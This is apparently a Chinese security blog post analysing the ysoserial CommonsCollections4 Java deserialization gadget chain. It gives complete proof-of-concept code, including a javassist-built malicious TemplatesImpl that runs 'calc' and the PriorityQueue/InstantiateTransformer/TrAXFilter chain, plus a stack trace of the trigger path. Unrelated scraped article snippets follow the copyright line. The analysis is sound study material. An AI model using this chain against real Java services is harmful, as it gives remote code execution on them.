技术标签: # CommonsCollestions cc链 web安全 反序列化 cc4 java安全 ysoserial
同样的,CC4是CC2的变种,改变同CC3用的是InstantiateTransformer而不是InvokerTransformer触发
需要Commons-Collections4 4.0
生成恶意TemplatesImpl:
TemplatesGeneratorPacked/GetAbstractTranslet.java
package TemplatesGeneratorPacked;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
public class GetAbstractTranslet {
public static byte[] generate() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("e");
CtClass zuper = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(zuper);
CtConstructor constructor = new CtConstructor(new CtClass[]{
}, clazz);
constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}
}
TemplatesGeneratorPacked/GetTemplatesImpl.java
package TemplatesGeneratorPacked;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ReflectPacked.ValueGetterSetter;
public class GetTemplatesImpl {
public static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{
GetAbstractTranslet.generate()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ValueGetterSetter.setValue(templates, "_bytecodes", bytes);
ValueGetterSetter.setValue(templates, "_name", "a");
ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
反射get/set:
ReflectPacked/ValueGetterSetter.java
package ReflectPacked;
import java.lang.reflect.Field;
public class ValueGetterSetter {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
}
反序列化:
UnserializePacked.Unserialize.java
package UnserializePacked;
import java.io.*;
public class Unserialize {
public static void unserialize(Object obj) throws Exception{
File f = File.createTempFile("temp", "out");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(obj);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
Object o = ois.readObject();
System.out.println(o);
ois.close();
f.deleteOnExit();
}
}
package cc.cc4;
import ReflectPacked.ValueGetterSetter;
import TemplatesGeneratorPacked.GetTemplatesImpl;
import UnserializePacked.Unserialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
public class PoC {
public static void main(String[] args) throws Exception {
Templates templates = GetTemplatesImpl.getTemplatesImpl();
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{
String.class},
new Object[]{
"a"}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(
constantTransformer,
instantiateTransformer);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
ValueGetterSetter.setValue(constantTransformer, "iConstant", TrAXFilter.class);
ValueGetterSetter.setValue(instantiateTransformer, "iParamTypes", new Class[]{
Templates.class});
ValueGetterSetter.setValue(instantiateTransformer, "iArgs", new Object[]{
templates});
Unserialize.unserialize(queue);
}
}
思路是CC2和CC3的结合,这里只梳理流程
『Java安全』反序列化-CC2反序列化漏洞POP链分析_ysoserial CommonsCollections2 PoC分析
『Java安全』反序列化-CC3反序列化漏洞POP链分析_ysoserial CommonsCollections3 PoC分析
newTransformer:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
transform:116, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:112, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:40, PoC (cc.cc4)
欢迎关注我的程序员秘密 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123448990
版权声明:本文为原创,转载时须注明出处及本声明
在列表数据的时候,一般都会有分页,因为如果一次性都加载出来的话,会造成卡顿的现象,浪费用户的流量,所以就会有下拉刷新,上拉加载。这里我们介绍两种实现微信小程序的下拉刷新,上拉加载的实现方式:一、第一种实现方式: 1.官方文档:https://mp.weixin.qq.com/debug/wxadoc/dev/component/scroll-view.html?t=20161107通过scro
go里面几个不同的字符串连接符的效率测试标签(空格分隔): Golang在搞mysql的orm框架,在处理dsn时候,考虑字符串拼接。有很如下选择:直接用+strings.Joinstrings.Bandlefmt.Sprintf分别benchmark测试一下,直接上代码跑一下:func dsnJson (Username string, Password string, Ip string, Port int64, Dbname string) string { dsn := st
945使数组唯一的最小增量 [1 2 2] -> [1 2 3]排序 + 贪心策略最佳观光组合max(A[i] + A[j] + i - j), i < jdp[j] – 固定j时的得分;遍历j,记录[0, j - 1]中A[i] + i的最大值;爱生气的书店老板 – 窗口X内生气顾客总数, 找到生气顾客最多的窗口位置初始化[0, X -1]区间内生气客户数;滑动窗–用...
Object-C开发的时候有的时候会用到Category类,类似于Java和C#中扩展类,就是如果你觉得如果你觉得常用的方法在String中没有,可以根据业务需求和个人喜好写一个扩展类,然后在其中补充自己的方法,如果单纯的扩展已有类型来看基本上是一样的。OC还有可以对已经存在类通过Category进行扩展,这个特点又和C#中的partial class有...
讲这些概念之前,想首先说一下“电脑配置”这个问题。(1)硬件方面:CPU(中央处理器)、单核处理器、多核处理器、缓存(Cache)、内存 一台计算机中一般配置一个CPU,早期的计算机中一个CPU只包含一个内核(称为单核处理器),而目前的计算机中一个CPU一般都包含多个内核(称为多核处理器)。 缓存是指可以进行高速数据交换的存储器,它先于内存与CPU交换数据,...
HTTP 1xx-信息提示 这些状态代码表示临时的响应。客户端在收到常规响应之前,应准备接收一个或多个1xx响应。 100-继续。 101-切换协议。 2xx-成功 这类状态代码表明服务器成功地接受了客户端请求。 200-确定。客户端请求已成功。 201-已创建。 202-已接受。 203-非权威性信息。 204-无内容。 205-重置内容。 206-部分内容。 3x...
相信很多人选择Spring Boot主要是考虑到它既能兼顾Spring的强大功能,还能实现快速开发的便捷。我们在Spring Boot使用过程中,最直观的感受就是没有了原来自己整合Spring应用时繁多的XML配置内容,替代它的是在pom.xml中引入模块化的Starter POMs,其中各个模块都有自己的默认配置,所以如果不是特殊应用场景,就只需要在application.propertie
RouterOS注册及申请license
这两天由于项目的需要,所以简单学了一下phaser框架。官网:http://phaser.io/还有一个phaser小站,是中文的网站,但是内容不如英文文档全,大家也可以去看这个网站,需要查阅API时,再去英文网站也可以 :https://www.phaser-china.com分享一下入门教程:http://club.phaser-china.com/topic/59899...
与我们设计中的商店组件相关的最后一页是帐户页面。 在这里,您可以查看购买的商品,还可以编辑帐户详细信息。 我的帐户页面有用的资源 如果您想了解有关Sketch的更多信息或为电子商务设计,以下链接将为您提供帮助。 请记住 :您可以通过每月15美元的订阅费访问Envato Tuts +上的所有课程,也可以仅以5美元的价格单独购买每门课程! 关于Envato Tuts +的素描教程...
多个HAL库完整工程,基于STM32F103C8T6:基于SPI的RFID读取、基于PWM+DMA控制WS2812、数码管、ADC、UART的printf重定向与接收数据解析、GPIO
最近买了个平衡小车,为了圆我PID梦,买来玩玩,废话不多说,直接开搞我用的电机是TB6612FNG,想详细了解的话直接去搜手册,给他输出两路PWM还要两个引脚进行高低电平的转换就可以设置前进或者后退了,规则如下看一下引脚图吧引脚连接:下面开始配置CUBE首先是SYS:其次是时钟:下面开始引脚的设置:用定时器1,10Hz就够了生成:代码部分:main.hmain.c.........